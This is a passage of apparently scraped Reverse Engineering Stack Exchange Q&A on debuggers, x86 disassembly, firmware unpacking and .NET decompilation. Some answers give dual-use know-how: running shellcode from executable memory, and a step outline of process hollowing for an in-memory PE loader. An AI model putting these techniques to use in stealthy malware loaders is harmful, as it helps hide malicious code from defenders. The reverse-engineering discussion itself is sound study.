alt+e -> select calc.exe -> ctrl+N ->Start typing Draw->select and rightclick ->follow import in disassembler ->shift + f4-> enable radio log function arguments to always \nleave all else to default and hit ok and f9 to run the exe\n
\n\n

ollydbg will log all the arguments (you can selectively log only args you want also)\nlike log only if hDc = XXX and Text == X^2 and Uformat != y

\n\n

a sample output from ollydbg running calc.ex and loggging function arguments to DrawTextW

\n\n
7E42D7E2   CALL to DrawTextW from calc.010061F1\n             hDC = DA011041\n             Text = \"Sta\"\n             Count = FFFFFFFF (-1.)\n             pRect = 0007FA28 {0.,0.,36.,29.}\n             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE\n7E42D7E2   CALL to DrawTextW from calc.010061F1\n             hDC = DB010B34\n             Text = \"Ave\"\n             Count = FFFFFFFF (-1.)\n             pRect = 0007FA28 {0.,0.,36.,29.}\n             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE\n7E42D7E2   CALL to DrawTextW from calc.010061F1\n             hDC = A0010D69\n             Text = \"Sum\"\n             Count = FFFFFFFF (-1.)\n             pRect = 0007FA28 {0.,0.,36.,29.}\n             Flags = DT_CENTER|DT_VCENTER|DT_SINGLELINE\n7E42D7E2   CALL to DrawTextW from calc.010061F1\n
\n\n

With windbg do this

\n\n
bp USER32!DrawTextW \".printf \\\"Text=%mu\\\\nRect.L=%x\\\\nRect.R=%x\\\\n\\\",poi(esp+8),poi(poi(esp+10)+8),poi(poi(esp+10)+c);gc\"\n
\n\n

windbg conditinal bp output

\n\n
0:001> g\nText=F-E\nRect.L=24\nRect.R=1d\nText=dms\nRect.L=24\nRect.R=1d\nText=sin\nRect.L=24\nRect.R=1d\nText=cos\nRect.L=24\nRect.R=1d\nText=tan\nRect.L=24\nRect.R=1d\nText=(\nRect.L=24\n
\n" }, { "Id": "2673", "CreationDate": "2013-08-22T15:37:52.227", "Body": "

I am looking at some x86 code, which I believe was built using a Microsoft tool chain, and am trying to figure out the calling convention used during this call:

\n\n
   push esi ; save ESI (it gets restored later)\n   lea esi, [ebp-0xC] ; set param 1 for call to FOO\n   call FOO\n   test eax, eax ; test return value\n   jz somelabel\n
\n\n

The function FOO starts like this:

\n\n
   FOO:\n   mov edi, edi\n   push ebx\n   xor ebx, ebx\n   push ebx ; null\n   push esi ; pass ESI in as second param to upcoming call, which has been set by caller\n   push ptr blah\n   mov [esi+0x8], ebx\n   mov [esi+0x4], ebx\n   mov [esi], ebx\n   call InterlockedCompareExchange ; known stdcall func which takes 3 params\n   test eax, eax\n   ...\n
\n\n

as ESI is not initialized in the body of FOO, I have assumed it is passed in as a param by the caller.

\n\n

What is this calling convention? It looks to be a variant of fastcall. Is there a name for this convention?

\n", "Title": "What x86 calling convention passes first parameter via ESI?", "Tags": "|x86|calling-conventions|", "Answer": "

There is no \"official\" calling convention that works like that. What you're seeing is most likely the result of Link-time Code Generation, also known as LTO (Link-time optimization) or WPO (Whole program optimization).

\n\n

When it is enabled, the optimization and code generation is done at link time, when the compiler has access to the code of whole program and all compile units, and can use this information for the more extreme optimizations.

\n\n

From MSDN:

\n\n
\n

When /LTCG is used to link modules compiled by using /Og, /O1, /O2, or\n /Ox, the following optimizations are performed:

\n \n \n
\n\n

In the code snippet you quoted the compiler detected that the function FOO is not called from outside of the program, so it could customize the calling convention to something that uses register values already set up at the place of call, or otherwise improve register allocation. With heavily templated code you can even get several copies of often-used functions that accept arguments in different sets of registers and/or stack.

\n" }, { "Id": "2677", "CreationDate": "2013-08-23T14:22:42.517", "Body": "

Does anyone know if there exists an online service which provides the same functionalities as the Metasploit NASM shell ?

\n\n

Probably the above script can be ported to a standalone tool but I'm not very confident with Ruby, so if someone knows something already implemented, it will be helpful.

\n", "Title": "Is there an online service which provides the same functionalities as the Metasploit NASM shell?", "Tags": "|shellcode|metasploit|nasm|", "Answer": "

There are several online tools providing a disassembling service. Here is a (non-exhaustive) list:

\n\n\n" }, { "Id": "2678", "CreationDate": "2013-08-23T15:01:18.240", "Body": "

I encountered a strange x86-32 instruction (opcode 0x65) decoded by objdump as gs (not %gs but gs). I found it while a full linear sweep of a binary (objdump -D), so the decoding was surely incorrect. But, still, objdump didn't decode it as a (bad) instruction, so it means that it can be encountered and I would like to know what does it means.

\n\n

Here is an example of this instruction:

\n\n
080484fc <_IO_stdin_used>:\n 80484fc:       01 00                   add    %eax,(%eax)\n 80484fe:       02 00                   add    (%eax),%al\n 8048500:       48                      dec    %eax\n 8048501:       65                      gs     <======================= Here!!!\n 8048502:       6c                      insb   (%dx),%es:(%edi)\n 8048503:       6c                      insb   (%dx),%es:(%edi)\n 8048504:       6f                      outsl  %ds:(%esi),(%dx)\n 8048505:       20 57 6f                and    %dl,0x6f(%edi)\n 8048508:       72 6c                   jb     8048576 <_IO_stdin_used+0x7a>\n 804850a:       64 21 0a                and    %ecx,%fs:(%edx)\n 804850d:       00 44 6f 64             add    %al,0x64(%edi,%ebp,2)\n 8048511:       67 65 20 54 68          and    %dl,%gs:0x68(%si)\n 8048516:       69                      .byte 0x69\n 8048517:       73 21                   jae    804853a <_IO_stdin_used+0x3e>\n
\n\n

Note that searching for this instruction on the Web is quite difficult because of the %gs register which mask all other possible hit.

\n\n

So, is it a real \"instruction\" or is it glitch produced by gas ?

\n", "Title": "GAS/x86 disassembled a bare gs register as an instruction, is it a bug?", "Tags": "|disassembly|x86|objdump|", "Answer": "

Strictly speaking it's not an instruction. It's the segment override prefix (prefixes are considered to be part of the instruction).

\n\n

Most memory accesses use DS segment selector by default except those involving ESP or EBP register (they default to SS) and some \"string\" instructions (movs, scas etc). Segment override prefixes allow you to use another segment selector to access your data. E.g. in DOS times the CS override was commonly used to access data stored in the code segment (such as jump tables):

\n\n
seg001:00EA shl bx, 1 ; SWITCH\nseg001:00EC jmp cs:off_13158[bx] ; switch jump\n...\nseg001:0588 off_13158  dw offset loc_12DD7 ; DATA XREF: _main+E6r\nseg001:0588            dw offset loc_12DE5 ; jump table for switch statement\nseg001:0588            dw offset loc_12DE5\nseg001:0588            dw offset loc_12DE5\n
\n\n

The 80386 added two extra segment registers (GS and FS) and the corresponding prefixes.

\n\n

Since the GS prefix does not actually affect the following instruction (insb) in the code snipped above, GAS opted out for printing it on a separate line.

\n\n

In some of the following instructions you can see how it affects the disassembly:

\n\n
64 21 0a       ->  and %ecx, %fs:(%edx)\n^^                           ^^^\n67 65 20 54 68 -> and %dl, %gs:0x68(%si)\n   ^^                      ^^^\n
\n\n

BTW, 67 is another prefix, this time the address size override. It is why the instruction uses the 16-bit SI register and not the full ESI.

\n" }, { "Id": "2685", "CreationDate": "2013-08-24T20:46:46.823", "Body": "

I am using the Local Bochs Debugger along with IDA Pro to debug a shellcode. This shellcode disassembles properly in IDA Pro, however, now I want to debug it.

\n\n

I tried debugging but since the configuration of Bochs is bare metal, it will not be able to execute some code properly, for instance:

\n\n
xor eax, eax\nmov eax, dword ptr fs:[eax+0x30] // PEB\n
\n\n

Since PEB is a structure defined in the Windows Operating System, Bochs does not execute this code properly (does not load the PEB address in eax).

\n\n

Simiarly, other sections of code which parse the kernel32.dll structure to find various API addresses also does not work.

\n\n

How can I debug the shellcode with IDA Pro and Bochs Debugger?

\n\n

I also have the following:

\n\n
Windows XP SP3 Guest OS running in VMWare workstation.\nIDA Pro running on the host OS.\n
\n\n

Is it possible to place the shellcode.txt file inside the Guest OS and then debug it using IDA Pro on the host OS? I think in this case, the Windows Debugger, windbg's engine can be used.

\n\n

What will be the configuration? In the following article:

\n\n

https://www.hex-rays.com/products/ida/support/tutorials/debugging_windbg.pdf

\n\n

It describes how to debug a remote process running on Windows. But in my case, it is not a process but a shellcode loaded from a text file.

\n", "Title": "Debugging Shellcode with Bochs and IDA Pro", "Tags": "|ida|", "Answer": "

For testing shellcode on windows and in general, it's good idea to wrap it in a small program that executes it.

\n\n

What you could do is write a small program that would read the shellcode, say , from a file into malloc()-ed buffer and then jump to it.

\n\n

On windows, you'd probably want to use VirtualProtect to set PAGE_EXECUTE_READWRITE permissions on that memory area before jumping to it.

\n\n

After reading shellcode into malloced memory and setting the execute permissions, you can simply use function pointer to call/jump to it.

\n\n

This will produce the executable binary which you can run in any debugger, set the breakpoint just before the function pointer call and then debug the shellcode as you wish.

\n\n

EDIT:

\n\n

A quick search reveals just a program like that in an article about Windows x64 Shellcode. The same code can be applied on 32bit Windows.

\n" }, { "Id": "2688", "CreationDate": "2013-08-25T10:31:10.710", "Body": "

I was working on a C#.NET application on windows platform, I was just testing the code and I don't know somehow I messed it up and after making too much efforts on undoing, I am still not able to recover my code. I don't want to write the whole code again.

\n\n

I only left with its .EXE file that executes well here, I want to know about some techniques or tools so that I can decompile my EXE code into its source code, Is it possible if it is, then please tell me some good decompilers. Any help will be appreciated, Thanks.

\n", "Title": "How can I decompile my (dot)NET .EXE file into its source code", "Tags": "|decompilation|executable|", "Answer": "

To build off of what the last user said, either Reflector or IlSpy will do the job. However that being said I'd recommend IlSpy over Reflector. Both of them will decompile the program into the intermediate language to roughly the same results but I've had better experiences (i.e. smoother, easier) parsing variable values using IlSpy.

\n\n

But if it's your own code and you remember what all of your variable values are then either one will work fine. Just my two cents.

\n" }, { "Id": "2698", "CreationDate": "2013-08-27T12:45:00.983", "Body": "

Assume I use a software to encrypt data. How would I go about to find out with IDA or other RCE tools as to whether there is more than one key used during the encryption?

\n\n

I am talking asymmetric encryption here, and it is possible that the software in question hides one or more master keys (or makes use of some already elsewhere on the system) and I want to find that out. How can I approach that task?

\n\n

NB: you may assume I have determined the various algorithms in use.

\n", "Title": "Find out whether additional keys are being used when encrypting data", "Tags": "|disassembly|encryption|", "Answer": "

Assuming the you are speaking about strong encryption, most of the algorithms are supposed to be indistinguishable even if you provided either the key or the clear text. So, it should not be possible to know that a given key is used just by looking at the result.

\n\n

One example of this is the field of Kleptography where:

\n\n
\n

[...] the outputs of the infected cryptosystem are computationally indistinguishable from the outputs of the corresponding uninfected cryptosystem. Hence, in black-box implementations (e.g., smartcards) the attack is likely to go entirely unnoticed.

\n
\n\n

As you may have noticed, the Kleptography is safe only on black-box implementations, so there indeed room for detection in white-box attacks.

\n\n

But, I have not enough experience in this topic to give you general advices about it. Except the fact that you should start to look at real World implementation of cryptographic backdoors before trying to detect it. You may want to explore some of these links:

\n\n\n\n

And so on...

\n" }, { "Id": "2699", "CreationDate": "2013-08-27T13:56:28.000", "Body": "

I have come across the following x86 (Built with some version of Visual Studio AFAIK) switch statement:

\n\n
0x1009E476  cmp edx, 0x3B\n0x1009E479  jnz switch_statement\n\nswitch_statement:\n0x1009E591  movzx ecx, byte [indirect_table+edx]\n0x1009E598  jmp dword [table1+ecx*4]\n\nindirect_table:\n0x1009E7AB  db 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07\n            db 0x07, 0x07, 0x06, 0x8B, 0xFF\n\ntable1:\n0x1009E7B8  dd ptr code1\n            dd ptr code2\n            dd ptr code3\n            dd ptr code4\n            dd ptr code5\n            dd ptr code6\n            dd 0x00000000 \n0x1009E7D4  dd 0x01060600, 0x06020606, 0x06060306, 0x06060606 ; Note: nothing directly references this data.\n            dd 0x06040606, 0x06060606, 0x06060606, 0x06060606\n            dd 0x06060606, 0x06060606, 0x06060606, 0x06060606\n            dd 0x06060606, 0x06060606, 0x06060606, 0x06060606\n            dd 0x06060606\n
\n\n

No index in the indirect_table will end up referencing any of the 6 pointers in table1. Index 6 will dereference a null pointer, index 7 will dereference 0x01060600 and indexes 0x8B and 0xFF will end up dereferencing garbage. So everything will end up access violating.

\n\n

So perhaps this is a compiler optimization, the data at table1 following the 6 code pointers and 1 null pointer looks like an indirect table, and coincidentally all indexes are suitable for this switch statement (0-6). While the binary has no references to this data, if EBX was known to be 0x29 or upwards, it would reference into this. The compiler may have decided EBX will not be 0-0x29 so moved the indirect table location backwards to line things up correctly. What then is the role of cmp edx, 0x3B in this?

\n\n

Is this a compiler code gen issue, a compiler optimization, or have I grossly misunderstood the code?

\n\n

If an optimization, any supporting reading material would be greatly appreciated.

\n", "Title": "Unusual x86 switch statement?", "Tags": "|x86|", "Answer": "

Either there is a check somewhere before, or the compiler knows otherwise that edx is not less than 41 (0x29). 0x3B is probably handled by a single switch label, so the compiler added this check to avoid the double memory lookup (or maybe there's an actual if before switch in the source).

\n\n

The table at 0x1009E7D4 is used to retrieve the jump table entry index - Visual C++ compiler always puts the indirect table after the jumps. 0x1009E7AB is likely a part of the previous switch's indirect table. And 8B FF is mov edi, edi, used here for alignment.

\n\n

This specific optimization (no subtraction for zero-indexing) seems to be pretty rare; I think I've only seen it in Windows DLLs which often use PGO and other tricks to achieve the last few percents of performance.

\n" }, { "Id": "2704", "CreationDate": "2013-08-28T14:14:31.663", "Body": "

I'm trying to analyse the firmware image of a NAS device.

\n\n

I used various tools to help the analysis (binwalk, deezee, signsrch, firmware-mod-kit which uses binwalk AFAIK), but all of them have been unsuccessful so far.

\n\n

For example binwalk seems to generate false positive regarding gzip compressed data and Cisco IOS experimental microcode.

\n\n
Scan Time:     2013-08-27 14:52:15\nSignatures:    196\nTarget File:   firmware.img\nMD5 Checksum:  4d34d45db310bf599b62370f92d0a425\n\nDECIMAL         HEX             DESCRIPTION\n-------------------------------------------------------------------------------------------------------------------\n80558935        0x4CD3B57       gzip compressed data, ASCII, has CRC, last modified: Fri Oct  4 17:37:33 2019\n82433954        0x4E9D7A2       Cisco IOS experimental microcode\n145038048       0x8A51AE0       gzip compressed data, ASCII, extra field, last modified: Mon May 26 20:11:40 2014  \n
\n\n

When trying to decompress the data I got the following error using gunzip/gzip

\n\n
gzip: 4CD3B57.gz is a multi-part gzip file -- not supported\n
\n\n

According to gzip FAQ (http://www.gzip.org/#faq2) this is due to a transfer not made in binary mode which has corrupted the gzip header.

\n\n

It looks more like a false positive from binwalk to me mostly because the magic number used to identify gzip data can easily trigger false positive and the dates are wrong.

\n\n

I also ran strings and hexdump command in order to have an idea of the contents of the file and try to identify known pattern but it didn't help much so far (I probably lack experience in that type of thing here).

\n\n

The only non-gibberish/identifiable strings are located at the end of the firmware image.

\n\n
00000000  f5 7b 47 03 d5 08 bf 64  ba e9 99 d8 48 cf 81 18  |.{G....d....H...|\n00000010  b1 69 1e 2c c2 f3 46 6b  53 2b b7 63 e8 ce 78 c9  |.i.,..FkS+.c..x.|\n00000020  87 fd b8 68 41 4d b2 61  71 cb cc 75 eb 8c e0 75  |...hAM.aq..u...u|\n00000030  25 d1 ec bd 6d 46 e8 16  37 c6 f5 2e 2a e0 dc 07  |%...mF..7...*...|\n00000040  65 b1 ce 7f 20 57 7c d7  cb 1d 91 fc 05 25 ad af  |e... W|......%..|\n00000050  58 56 ff 13 4d 03 95 7f  ad 58 0e 84 85 2f 73 5c  |XV..M....X.../s\\|\n00000060  d9 19 d4 d4 2c 27 be c6  45 f2 9f a4 b1 e1 04 f1  |....,'..E.......|\n00000070  c1 28 17 9c e1 f7 9d 2b  63 c3 7d e1 95 56 06 05  |.(.....+c.}..V..|\n[...]\n09ec9d60  4b 29 75 20 46 6e fb e3  0f 14 d4 93 54 8e 4f bb  |K)u Fn......T.O.|\n09ec9d70  4b ab 91 bf e7 8a b9 4e  c8 ff 87 17 93 19 e9 3f  |K......N.......?|\n09ec9d80  70 fe a6 9f d3 36 48 83  34 48 83 34 48 83 34 48  |p....6H.4H.4H.4H|\n09ec9d90  83 34 48 83 34 48 83 34  48 83 34 48 83 34 48 83  |.4H.4H.4H.4H.4H.|\n09ec9da0  34 48 83 34 48 83 34 48  83 34 48 83 34 48 83 34  |4H.4H.4H.4H.4H.4|\n09ec9db0  48 83 34 48 83 34 48 83  34 48 83 34 48 83 24 a7  |H.4H.4H.4H.4H.$.|\n09ec9dc0  ff 07 e9 0d 37 73 00 20  08 0a 69 63 70 6e 61 73  |....7s. ..icpnas|\n09ec9dd0  00 00 10 00 54 53 2d 35  36 39 00 00 00 00 00 00  |....TS-569......|\n09ec9de0  00 00 00 00 33 2e 38 2e  33 00 00 00 00 00 00 00  |....3.8.3.......|\n09ec9df0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n09ec9e14\n
\n\n

It is the first time I'm going through that type of exercise and I'm not sure what I should do next. The image seems to be obfuscated somehow (that might be a wrong assumption).

\n\n

Do you have suggestions/tricks that could help me make some progress?

\n", "Title": "Firmware analysis and file system extraction?", "Tags": "|obfuscation|file-format|firmware|embedded|", "Answer": "

I know this is an older question now, but I just want to add some updated information to the discussion for future answer-seekers.

\n\n

I'm also experimenting with this. Newer versions of binwalk have an automatic extract feature. Simply run:

\n\n
binwalk -e ./firmwarefile.bin\n
\n\n

It will extract and split up the different partitions into separate folders. This is much, much easier than using dd, where if you get the values wrong then squashfs/gzip/... will only see it as corrupted.

\n\n

Also, grab a copy of Kali or Backtrack linux (Backtrack might be depreciated now. I think, Kali is preferred) They have binwalk and firmware mod utils either installed or in the apt package manager repo for easy install.

\n\n

As for repackaging a firmware for uploading, I haven't gotten that far yet, myself. With the firmware I am using, binwalk also extracts the file with the signatures, as well. This contains the MD5 data for verifying the firmware on the device.

\n" }, { "Id": "2708", "CreationDate": "2013-08-29T00:05:38.870", "Body": "

I am toying with writing a basic PE packer, whose job is simply to execute the attached target PE in memory. I have spent a couple of days getting intimate with the format, and I think that I have grasped it well enough for the purpose. These are the methods I use:

\n\n
    \n
  1. Firstly, the target is bundled with the loader by being inserted into the .data section of a nasm generated object file, which is later compiled together with the loader.
    2. \n
  2. Upon execution, the Image Data Directory is examined, and the Import Address Table properly bound by loading the needed libraries and functions.
    3. \n
  3. The PE and all of its sections need to be properly laid out in memory, hence ImageBase and SizeOfImage are read, and sufficient virtual memory is allocated for the next two operations.
    4. \n
  4. PE headers are written into the new location.
    5. \n
  5. Section data is gathered via section headers, and every section gets written into the new memory space, each into its designated virtual address. Proper permissions via VirtualProtect() are also set.
    6. \n
  6. Finally, OptionalHeader.AddressOfEntryPoint gets called.
    7. \n
\n\n

The loader, of course, has an exotic image base, as to not conflict with the standard 0x00400000 base. My problems lies somewhere along there. Almost every .exe has its relocations table stripped, so there's no way to do a base relocation if the desired base address is unavailable. The loader having a non-standard image base solves the problem to an extent. The target's desired base is only available in about 50% of runs. I've tried to find out what might occupy the memory in the other 50%, and have found out that it's almost always a section view. Of what, or whose, I don't know. I've tried to use both NtUnmapViewOfSection and NtFreeVirtualMemory, but they don't solve the problem. The first seems to introduce memory corruption and the second does nothing. Is there any way of claiming that memory? Here's a screenshot from ProcessHacker:\n\"\".

\n\n

All ideas are welcome.

\n", "Title": "A PE packer: issues with the packed image base address", "Tags": "|pe|packers|", "Answer": "

Try getting code inspiration from process hollowing.

\n\n

Here's one that remotely runs it on a new space:\nhttps://github.com/hasherezade/libpeconv/tree/master/run_pe\nhttps://github.com/m0n0ph1/Process-Hollowing

\n\n

Try:

\n\n
    \n
  1. run the packer loader from a newly allocated memory (copy loader shellcode to and run from RWX allocated mem.)
    2. \n
  2. unmap loader PE image, realloc, and replace it with new PE image
    3. \n
  3. dynamically import functions from new PE image
    4. \n
  4. jump to entry point of new PE image
    5. \n
\n\n

I haven't dug deep about resource loading yet. But if the new PE image uses LoadResource, it might read the loader's instead. Not sure about this.

\n\n

You can get more ideas from debugging a UPX packed sample.

\n" }, { "Id": "2720", "CreationDate": "2013-08-31T11:21:52.703", "Body": "

I am currently reversing firmware for some device.\nWithout any issues I was able to reach deep into its core and extract the file-system. Now I was trying to reverse some of the special applications on this device. After checking the file format I noticed the following: It is an ELF 32-bit MSB (big-endian) on the Ubicom32 platform.

\n\n

After googling, checking woodmann and tinkering with it a bit I couldn't find too much information about this format expect the fact that \"it exist\".

\n\n

Are there tools (or plug-ins) that handle this file format? Can I just regard this as ARM or MIPS? I did find OpenWRT - Ubicom32 Kernel but no toolchain.

\n", "Title": "What is the Ubicom32 toolchain and where can I find it?", "Tags": "|firmware|ubicon32|", "Answer": "

You can find the toolchain in Western Digital N900's GPL source code.

\n" }, { "Id": "2728", "CreationDate": "2013-09-02T21:06:44.127", "Body": "

I want to debug a DLL when it is called from an application. For example, when Firefox calls nss3.dll \"NSS Builtin Trusted Root CAs\" to check HTTPS Certificates, I want to catch the nss3.dll and debug all its transactions with a known debugger like OllyDBG or any other.

\n\n

How to trace threads created and debug them ?

\n", "Title": "How to debug DLL imported from an application?", "Tags": "|debuggers|debugging|", "Answer": "

In OllyDBG and ImmunityDbg, in Options->Debugging Options-> Events you have an option \"Break on new module\". If this option is set, whenever a new DLL is loaded, Olly/Immdbg will break and let you do your business.

\n\n

In Windbg follow Debug-> Event Filters, in the list you will find Load module, on the side set the options to \"Enabled\" and \"Handeled\" which will achieve the same result as above.

\n\n

If on the other hand you want to break on the specific function, you can check the DLL exports which lists all the functions exported by DLL. After the DLL is loaded, and the debugger breaks as per previously mentioned settings, you can then proceed to set the breakpoints on individual functions.

\n" }, { "Id": "2752", "CreationDate": "2013-09-05T07:14:52.263", "Body": "

I am currently reversing a windows driver in order to write a Linux compatible driver for a DVB card, but I have come up against a small issue that I can work around, but if it is possible I would like to make it correct.

\n\n

There is a function that part of which reads the 256 byte PCI config space into a local buffer that has been allocated on the stack. The decompilation shows the output as:

\n\n
unsigned __int16 configSpaceBuffer[128];\n\n.... SNIP ...\n\nconfigSpace->vtable->tmRegisterAccess_ConfigSpace__tmIGetReg(\n        configSpace,\n        &address,\n        4,\n        configSpaceBuffer,\n        256u,\n        0)\n\n _this->field_4A = v74;\n _this->field_4C = *(unsigned __int16 *)configSpaceBuffer;\n _this->field_4E = v75;\n _this->field_50 = v77;\n _this->field_52 = v76;\n
\n\n

Is it possible to fix the detected function variables to show the following instead?

\n\n
 _this->field_4A = configSpaceBuffer[0];\n _this->field_4C = configSpaceBuffer[1];\n _this->field_4E = configSpaceBuffer[2];\n _this->field_50 = configSpaceBuffer[6];\n _this->field_52 = configSpaceBuffer[8];\n
\n", "Title": "Hex-Rays Decompiler: Buffer on the stack", "Tags": "|ida|hardware|decompiler|driver|hexrays|", "Answer": "

I found the solution. Double click the variable name (configSpaceBuffer in this case) which brings up the stack window for the method where you can undefine the invalid variables and then define it as an array.

\n\n

Here is the output after this change:

\n\n
      _this->ConfigSpace1 = configSpaceBuffer[1];\n      _this->ConfigSpace0 = configSpaceBuffer[0];\n      _this->ConfigSpace4 = LOBYTE(configSpaceBuffer[4]);\n      _this->ConfigSpace23 = configSpaceBuffer[23];\n      _this->ConfigSpace22 = configSpaceBuffer[22];\n
\n" }, { "Id": "2759", "CreationDate": "2013-09-06T12:49:29.167", "Body": "

I have a .NET method which is marked as an \"Internal Call\", meaning that it is implemented within the CLR itself. Is there any way to locate the code for and/or decompile such a method?

\n", "Title": "Decompile \"Internal Call\"", "Tags": "|decompilation|.net|", "Answer": "

If you use the windbg sos extension you can step into the internal calls - which are unmanaged code. The documentation for using sos is a bit tricky to sort out IMO. This link is helpful for learning the sos commands: http://msdn.microsoft.com/en-us/library/bb190764(v=vs.110).aspx. To load SOS I use:

\n\n
.loadby sos clr ; for .NET 4 and higher\n.loadby sos mscorwks ; for .NET 2\n
\n\n

However you have to wait until the .NET DLLs have been loaded before those commands work, so you either have to set a breakpoint or make sure the managed code has some kind of wait (for input or something else) to allow the process to load the .NET DLLs.

\n" }, { "Id": "2761", "CreationDate": "2013-09-06T21:52:23.350", "Body": "

I've got a process that writes to a file (database). In process monitor I see WriteFile. After this I see the file is about to be either written or updated (offset:length).

\n\n

How can I reveal the content that is about to be written or updated in this file using Ollydbg?\nIs there a tutorial or something similar? And how to specify the function on Ollydbg?

\n\n

In process monitor, I see WriteFile, but in Ollydbg, what is the function?

\n", "Title": "How to view the content of a file before it is written?", "Tags": "|windows|debuggers|", "Answer": "

You can have a look at Woodmann or tuts4you if you need tutorials. And if you want to see what is writes you will have to have where the pointers are stored for the function in question.

\n\n

This has a lot to do with calling conventions, cdecl and stdcall and knowing about them is important for this..

\n\n

I am going to try to explain using the writeFile function.

\n\n

How does WriteFile Work

\n\n

First we look at the WriteFile declaration (taken from MSDN)

\n\n
BOOL WINAPI WriteFile(\n  _In_         HANDLE hFile,\n  _In_         LPCVOID lpBuffer,\n  _In_         DWORD nNumberOfBytesToWrite,\n  _Out_opt_    LPDWORD lpNumberOfBytesWritten,\n  _Inout_opt_  LPOVERLAPPED lpOverlapped\n);\n
\n\n

Now when we assume that Windows has stdcall (win32api has). We can figure out where we can find the variables. (for more about the stdcall see Wikipedia).

\n\n

Due to our wikipedia article we a few things:

\n\n\n\n

This is great

\n\n

Now we have everything we need to figure out where we can find the location of the information you need.\nWhen a breakpoint is placed on the function call you'll know that all the variables are stored on the stsck. LPCVOID is a Pointer, all that is left is to follow it and read the data.

\n" }, { "Id": "2765", "CreationDate": "2013-09-07T10:57:26.763", "Body": "

I'm working on unpacking Hauwei E586 MiFi firmware. I downloaded firmware update pack which is available as Windows EXE, then used Hauwei Modem Flasher to unpack real firmware from installer.

\n\n

I've got 4 files:

\n\n
01.bin: data\n02.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped\n03.bin: data\n04.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped\n
\n\n

As we can see 02 and 04 are executable files. 01 is probably some kind of bootloader (I assume it from string analysis). 03 is some kind of pseudo FS.

\n\n

I started from analyzing 03 (I posted it here):

\n\n

There is header part

\n\n
02 00 EE EE  50 BA 6E 00  20 00 00 00  D0 A2 02 00\n7B 02 00 00  00 00 00 00  00 00 00 00  00 00 00 00\n
\n\n

7B 02 as 16 bits gives 635 which is number of files in binary (verified using strings). Then there are 635 parts describing each file (call it directory) and at the end there is content of files.

\n\n

There is directory entry for first GIF file which I found. I choosed GIF because it's easy to identify (there is header GIF8X and footer 0x3B).

\n\n
77 77 77 5C  75 6D 5C 70  75 62 6C 69  63 5F 73 79\n73 2D 72 65  73 6F 75 72  63 65 73 5C  42 75 74 74\n75 6E 5F 43  75 72 72 65  6E 74 2E 67  69 66 00 00\nlot of zeros\n18 22 11 00  10 02 00 00  00 00 00 00  00 00 FF EE\n
\n\n

We can see its name: www\\um\\public_sys-resources\\Buttun_Current.gif and in last line there is offset of file in binary and file size, but I'm not really sure how to interpret this values.

\n\n

I found first GIF after directory and extracted it manually (from header to footer) which gives me file of size 528 bytes, so reading 10 02 as 16 bit unsigned gives me that number. I tried to treat 18 22 as 16 bit unsigned to get offset, but it was different from offset that I manually read from file. Bu there was constant difference between offset and real offset of file of 1286864. So I created script for unpacking this binary (I'm getting offset and adding to it 1286864).

\n\n

Script worked only partially. It recreated directory structure, but was able only to extract files in one particular directory (directory with GIF which I was using as reference). After check on different part of file it seems that offset of offset in different subdirectories is another that in this GIF directory. So, my guess is that I'm interpreting offset wrong (but treating it as 32 bits gives nothing useful).

\n\n

There is unpack script:

\n\n
import sys, struct, os\n\ndef main(args):\n    outdir = args[1]\n    f = open(args[0], 'rb')\n    f2 = open(args[0], 'rb')\n    header = f.read(32)\n    print(len(header[16:]))\n    number_of_files = struct.unpack(\"h\", header[16:18])[0]\n    print(number_of_files)\n\n    for i in range(number_of_files):\n        body = f.read(272)\n        file_, rest = body.split(b'\\x00', 1)\n        offset = struct.unpack(\"H\", body[256:258])[0] + 1286864\n        size = struct.unpack(\"H\", body[260:262])[0]\n        file_ = file_.decode(encoding='UTF-8').replace('\\\\', '/')\n        dirname = os.path.join(outdir, os.path.dirname(file_))\n        filename = os.path.basename(file_)\n        print(filename, size, offset, dirname)\n        try:\n            os.makedirs(dirname)\n        except OSError:\n            pass\n\n        outfile = open(os.path.join(dirname, filename), \"wb\")\n        f2.seek(offset)\n        outfile.write(f2.read(size))\n        outfile.close()\n\nif __name__=='__main__':\n    sys.exit(main(sys.argv[1:]))\n
\n\n

Usage: ./script.py 03.bin output_directory

\n\n

So my question is: what I'm doing wrong? Maybe I should read some another data type as offset/size? Which one?

\n", "Title": "Hauwei E586 firmware", "Tags": "|file-format|firmware|embedded|", "Answer": "

I know this is an old thread, but I just wanted to add that your Hauwei E586 is probably based on the HiSierrra Chipset and Firmware. (That is, Huawei firmwares starting with \"21.\" when using the Huawei Modem Flasher. ) This is using an embedded linux server, unlike those MiFi's based on the Qualcomm chips with firmwares strting with \"11.\". Here is another interesting thread on reversing the firmware on one of these (E589).

\n\n

My question is, did you also have to deal with a checksum for the entire binary? \n(Do you know how to calculate it, and where it's located?)

\n\n

PS. This was meant as a comment, but I still don't have the required Rep. to do that.

\n" }, { "Id": "2766", "CreationDate": "2013-09-07T20:34:50.727", "Body": "

I am doing a research project where I want to look at apps that create or extends certain classes. For Android I am using the Androguard project which provide a large set of great tools for inspecting APK files and also comes with an API which I can use to extend it with my own code.

\n\n

I was wondering if there's anything similar available for iOS apps?

\n", "Title": "AndroGuard equivalent for iOS", "Tags": "|tools|ios|", "Answer": "

As far as I know there are no tools for exploring and interacting with .IPA files like Androguard for.APK files, but since the .IPA is essentially a zip, you can unzip and analyze the key components individually.

\n\n

Key components of the file and associated tools include:

\n\n

Mach-O

\n\n

The Mach-O file contains the executable code. This executable is encrypted inside the .ipa file unless it has been dumped and rebuilt from a rooted device. Once dumped and rebuilt the functions, strings, etc. can be viewed with IDA Pro. Objective C can be hard to follow so plug-ins like https://github.com/zynamics/objc-helper-plugin-ida can be helpful. Also, check out otool and class-dump http://www.codethecode.com/projects/class-dump/ .

\n\n

Plists

\n\n

For gathering interesting information I have found the plists (especially iTunesMetadata.plist and the Info.plist). Plists found in the .ipa will either be in a readable XML format or a binary format. To convert binary to readable XML use Apple's plutil(1) or plutil.pl.

\n" }, { "Id": "2770", "CreationDate": "2013-09-08T19:18:10.763", "Body": "

IDA autodetected some kind of offset like this:

\n\n
mov     bx, word ptr (aSomeString+8)[di]\n
\n\n

I want to set the base address to something else, like for example:

\n\n
